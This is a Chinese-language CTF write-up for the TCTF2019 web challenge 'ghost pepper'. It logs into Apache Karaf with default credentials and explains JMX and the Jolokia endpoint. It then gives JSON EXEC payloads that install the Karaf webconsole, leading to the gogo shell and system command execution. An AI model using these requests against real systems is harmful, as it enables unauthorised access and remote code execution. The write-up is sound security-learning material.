TCTF2019 web1

ghost pepper

访问网站,需要401认证,抓包看一下,发现有realm="karaf",网上搜索一些karaf有关资料,发现其的默认用户名与密码为karaf/karaf,成功登录,登录上去发现访问的目录都是404,这里联想一下ghost pepper,由于网站的服务器是jetty,猜测题目的意思应该是某一个java的组件,一番搜索之后发现jolokia的logo是一个辣椒(Lombok的logo也是一个辣椒),这里访问/jolokia成功访问。

这个jolokia是一个JMXJava Management Extensions管理程序。

什么是JMX

就是一个用于管理java应用程序的拓展,可以很方便的监控运行中的jvm中的各种数据。

JMX架构

1553650374424.png

JMX的架构分为3层,

  1. 最底层是Meban,就是Managed Bean,类似于javabean,遵循一定的规范,我们可以把需要管理的一些属性集成在Mbean中,来统一管理。通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为,外界使用自醒和反射来获取Object的值和调用Object的方法,只是MBean更为复杂和高级一些。MBean通过公共方法以及遵从特定的设计模式封装了属性和操作,以便暴露给管理应用程序。例如,一个只读属性在管理构件中只有Get方法,既有Get又有Set方法表示是一个可读写的属性。一共有四种类型的MBean: Standard MBean, Dynamic MBean, Open MBean, Model MBean。
  2. 往上是代理层,用于注册管理MBean,可以理解为有点像容器,同时暴露出接口供上层来远程调用。
  3. 远程调用接口来管理MBean,可以使用http,snmp等来访问。

回到题目,我们可以调用/jolokia/list来列出所有的注册的Mbean,这里我们发现karaf中有一个Mbean是用来管理karaf的feature的。在查阅资料的时候发现karaf是可以安装一个webconsole的。我们就想用这个Mbean来安装这个webconsole

"installFeature": [{
                        "args": [{
                            "name": "p1",
                            "type": "java.lang.String",
                            "desc": ""
                        }, {
                            "name": "p2",
                            "type": "java.lang.String",
                            "desc": ""
                        }, {
                            "name": "p3",
                            "type": "boolean",
                            "desc": ""
                        }, {
                            "name": "p4",
                            "type": "boolean",
                            "desc": ""
                        }],
                        "ret": "void",
                        "desc": "Operation exposed for management"
                    }

用Postman构造post包。这里注意要修改content-type

{
    "type": "EXEC",
    "mbean": "org.apache.karaf:name=root,type=feature",
    "operation": "installFeature",
    "arguments": ["webconsole"]
}

返回包部分:

{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature"},"stacktrace":"java.lang.IllegalArgumentException: Operation installFeature on MBean org.apache.karaf:name=root,type=feature is overloaded. Signatures found: (java.lang.String,java.lang.String,boolean,boolean),(java.lang.String,java.lang.String),(java.lang.String,boolean,boolean),(java.lang.String,boolean),(java.lang.String),(java.lang.String,java.lang.String,boolean)

这里提示这个方法被重载了,我们应该指定调用哪一个方法。

{
    "type": "EXEC",
    "mbean": "org.apache.karaf:name=root,type=feature",
    "operation": "installFeature(java.lang.String)",
    "arguments": ["webconsole"]
}

然后我们访问/system/console,在main中进入gogo控制台

然后使用exec 执行系统命令,在根目录下可以找到flag

你可能感兴趣的:(TCTF2019 web1)